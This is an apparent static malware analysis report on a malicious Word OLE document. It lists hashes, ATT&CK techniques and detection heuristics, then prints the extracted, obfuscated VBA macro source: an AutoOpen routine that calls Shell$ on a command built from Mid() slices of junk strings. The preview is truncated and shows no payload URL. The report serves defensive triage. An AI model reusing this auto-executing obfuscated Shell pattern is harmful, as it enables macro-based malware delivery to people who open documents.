Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4777f7660497e58…

MALICIOUS

Office (OLE)

187.0 KB Created: 2017-11-22 12:45:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: d06d5500b8ade9801c9d53fe7d33fd1f SHA-1: c7bafd42ebd572495d0f2085e6c15ce2c8dee421 SHA-256: a4777f7660497e5892e3218630895ad0f37daf4e29f7361387b256cb1fd9d480
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is configured to execute a command using the Shell() function, which is a strong indicator of a downloader or droppper. The macro code is heavily obfuscated, making it difficult to determine the exact payload or destination URL. The presence of the AutoOpen macro and Shell() call strongly suggests an attempt to execute arbitrary code.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 231888 bytes
SHA-256: 18a0c466010bfbb88e3eae0cc6aaaef534aeebaa795cc4cb6dc0997c73cea5ef
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 88 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "chtrhIvsh"
Sub AutoOpen()

IiVbjwlYZ = Array("YKURFsPj", "zvuzmhmj", "vrOCjCAj", "LiHfYapf", "whrRsKip", "ovWkAhVB", "iroHXVsV", "JoGXkjIW")
GODFpVqkM = Array("ZOkjQfdM", "GzjliIao", "WHDDGFFn", "ziliQLMB", "EuzHHpsJ", "dKilckXG", "cRTOmjGT", "Izhmtwwu")
kihoKTjhO = Array("uawaTKOG", "fCwswPXo", "iwKHGPiO", "jBwDjvIk", "mzrGJspn", "SfOwzBmP", "JAjVWZIf", "wirSMLXj")
Shell$ GSpcsJLRc, 0
tOFwXRilI = Array("WpaBhQhO", "jtjOnNNr", "MKbBXbGI", "iDjwnssW", "vMzjhiOR", "JDdSoVFA", "sHKHCjkv", "iRWdhlbq")
AMTbOdJiv = Array("KsUwoUJw", "iDjhlTMb", "EBPHkkXc", "mRbBdmPz", "bLsqQztw", "NfwiuJPt", "GzJbtbKZ", "VsMWtHUw")
niGZaVLGH = Array("TtFlohcB", "hvicnDAA", "SVYlXDGK", "BuMDqSko", "CUahFnjK", "jUMMqUAi", "FYHAnVkP", "nuktVZLO")
End Sub
Function GSpcsJLRc()
pTRtwFNtjfY = "SWuizQJsuiRjHNYUjjKKXjbjnpAYDzjuRHquTWOQdKLGBJBjWjaIwWrkhGnipZtBYCjLzpjiLMhMYVhdnQBXWXwuQFNMikaDRJhzdqjjwszloiLLYKqZYViAFmvtcWAblivOnhAzmdizAPIR"
JwiUsd = Array("HbaJXEFN", "uZIZNWwk", "hwdTUBLV", "vKCtXCHQ", "RzwFwBvN", "wlIFimAO", "bCTToVOG", "PEOMCLqr")
PjXiJBU = Mid(pTRtwFNtjfY, 20, 117)
FhpGakmWMo = Array("GNBuuiNL", "CLSjRusX", "Ywzrjtcd", "HtQvVTEr", "IHXnSKDZ", "iGjGjWLS", "SBzDfnMN", "lYnBRRpi")
FRnsJwtlsL = "BCoBqSltwXUisqIYYnOEDTKHujdpcOjHmUYlbYmUvLEjTGsQMrcmmwiYrjGKpwRknNwXSXzzBtJrOboonNdklzUpmzuuSbfzuUvGKUwpucksnqJQsCTjf38WaVVn1BD0AwzmZ9wTRiwZwrkz95"
EBCAiEhGBD = Array("AnwYllKr", "qVHCcjIt", "BNCbKOAm", "JJTfShcM", "HiJdQjZc", "SKiwCkjJ", "FaITKuZm", "mMObSiYI")
SiXpnkh = Mid(FRnsJwtlsL, 2, 112)
mUwIDOX = Array("FlmbSEiZ", "wiFuWEzD", "djiijvsZ", "HJXRELiS", "wzTMtmqJ", "adTJQOIK", "OdBURJnJ", "sNUJjNVk")
vQlKHnczwjd = "uRqjwlhz7CAJJWzAqDMNNFNzwSBIbvzPfdvDWIHzrlJ1tUjfz"
iwBwB = Array("QUpnvJYh", "abYuUjQk", "OoBzAEba", "CJhALAni", "PpnTMSiw", "dzFVutrD", "usSYarrL", "sOlmbXWa")
bzlQwrTKzQh = Mid(vQlKHnczwjd, 11, 27)
zpiXZdjoGaj = Array("PUOOAcjr", "aAtidRbj", "VIbiACjD", "lUPHBhkZ", "tqVRLnhA", "GGiDnBFa", "GCjjzSoM", "kKcjMbqs")
JJGbrFGt = "JUYbApcaXc9vpLoFNdrpdQEpczziULdkYZSaiiczNBzZDasrKzpDVjbzzuDMsNqTwIrLsOWfBubcTimCGIXVVaOrwVbofPFAKibuihwwdKCbEziUIAFjpVzYuANXmhfnDsoG"
HtdrYHw = Array("dGFCzvrT", "cLVHtcUI", "iDDIqwfv", "DYfRPwhw", "sEhzaWII", "jjCBpmTw", "iWiRiPji", "aJwZPZEj")
pLkYUZDUrij = Mid(JJGbrFGt, 14, 113)
wOrCRwiUuz = Array("kPYSYfuE", "THzMAjCI", "OpOEXXnZ", "nIKHjtds", "GzlHRuND", "iQiLEfZG", "EYDiMKtM", "bzfQVmYZ")
rhiMvaXYm = "qA04siPKWaFwBMDOMrjEaRKtpsvEjpRjYCrfjXmJLBAbfiTPltJRIWjkFRdOYMwhIWZwVYhoEXsYQjOHZjSqjAbBTGZOuXkwFTTJIUuNLUMliKUWDVpsuGAIuXiOwTthmtSwQEwEmEiMnpXImCKYisEzTKOkpfPsafwksXGzXkGpboUEAWnT1R5nirIKW"
AnqJsMpm = Array("XhJinVsO", "iCDTHNMi", "rSokqiSl", "NwSrkzXf", "fmjZQlzb", "iGqBtdin", "wsCVTiao", "OXUrDBik")
jkBaGHjDz = Mid(rhiMvaXYm, 9, 170)
KQwKi = Array("BUcaFrtZ", "dfEstaos", "VaNrOLUT", "DLDlLMHW", "iLmSzHrL", "nuEHHZUl", "zaVZDwzp", "AIWtnHOR")
AqjitwT = "JcZUPzDO5HorzhpbUuXsGUoXZLWCrFMzccjaFSkCfBJYAKXjHtXWwArDQE"
dItJnFqpktL = Array("CDnNoQnl", "KEtwvDPY", "QEnUqUAE", "AbLQqBvv", "mKUXEPQw", "wzDELqus", "CwkHFYCh", "CjMNFWvI")
YoEOMSF = Mid(AqjitwT, 22, 30)
MXbRzc = Array("pVHluWvz", "UkMzAFYV", "zNMibzZp", "QtKCGbiJ", "JnRHiLCI", "ofDWascF", "OlkOIFmp", "vSVBMsst")
ojQiz = "XQUK56bJzFrqaGTjLnTfGESAhQpPKcGCOddisnYoRElTWJWizqTqPBDWGaqmIiFJJubzckoYOiOCSwiXtHRUJQnNZHcRwmfjwbJciZFNBublnADHwTsBQlztGOXVIXccSd1R"
KMACdhHFswr = Array("PpzlHCZb", "GQaLjOUt", "bZDCliGj", "Sikobjoh", "VdqtJOZf", "FzCFZEIK", "PZwwomMl", "iPScSlAX")
VBwUEWm = Mid(ojQiz, 12, 117)
LlSIv = Array("wsnWzidW", "KCRiUaMz", "VNdzVHUD", "DbGlhMnc", "jiTJXuHM", "ZKbFiJAj", "ifbJVzPo", "YjTXXrpw")
CDDPlorT = "W5Wwwmtno348d5IUPjTzwSRRj2"
hWVzXXwpwnR = Array("JNlwSizj", "XNmzTfPQ", "zFuVtqwt", "iVtFPbcN", "ujSXtzHj", "wsMnmNTp", "UiitwacT", "PrNzkuQv")
MiNhDnMfi = Mid(CDDPlorT, 20, 1)
rGuwtI = Array("Jclv
... (truncated)

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